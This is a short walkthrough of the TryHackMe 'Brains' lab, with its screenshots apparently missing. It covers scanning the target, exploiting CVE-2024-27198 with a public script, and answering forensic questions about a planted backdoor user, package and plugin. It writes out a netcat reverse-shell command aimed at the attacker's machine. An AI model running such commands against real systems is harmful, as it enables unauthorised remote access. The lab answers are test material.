
Brains VM – TryHackMe 
https://tryhackme.com/r/room/brains 

This room has 2 parts. Part 1 is below and Part two is after it 

Kali IP = 10.4.103.189 

Brains VM = 10.10.78.117 

An initial nmap scan shows 

 

So then I can visit the website on port 80. And see this 

 

Nothing in the page source either, so instead I do a gobuster scan but we get nowhere 

 

So I checked the other port and we find this 



 

So for this we can search for CVE and we find it here https://github.com/W01fh4cker/CVE-2024-27198-RCE 

So I can copy it to my directory 

 

Then I can run this by running the script in a virtual python environment by first activating it 

 

Then running it 



 

Then we can send a reverse connection back to kali 

busybox nc 10.4.103.189 4444 -e bash 

and then in kali have a listener set up and we can get our shell 

 

 

And that is part 1 complete. Now we can move:8000 to part 2 

The IP for this part is 10.10.53.205 

1. What is the name of the backdoor user which was created on the server after exploitation? 
a. Evil user 

 



2. What is the name of the malicious-looking package installed on the server? 
a. Datacollector 

 

3. What is the name of the plugin installed on the server after successful exploitation 
a. AyzzbuXY.zip 

 

And it is complete 

 

 

 


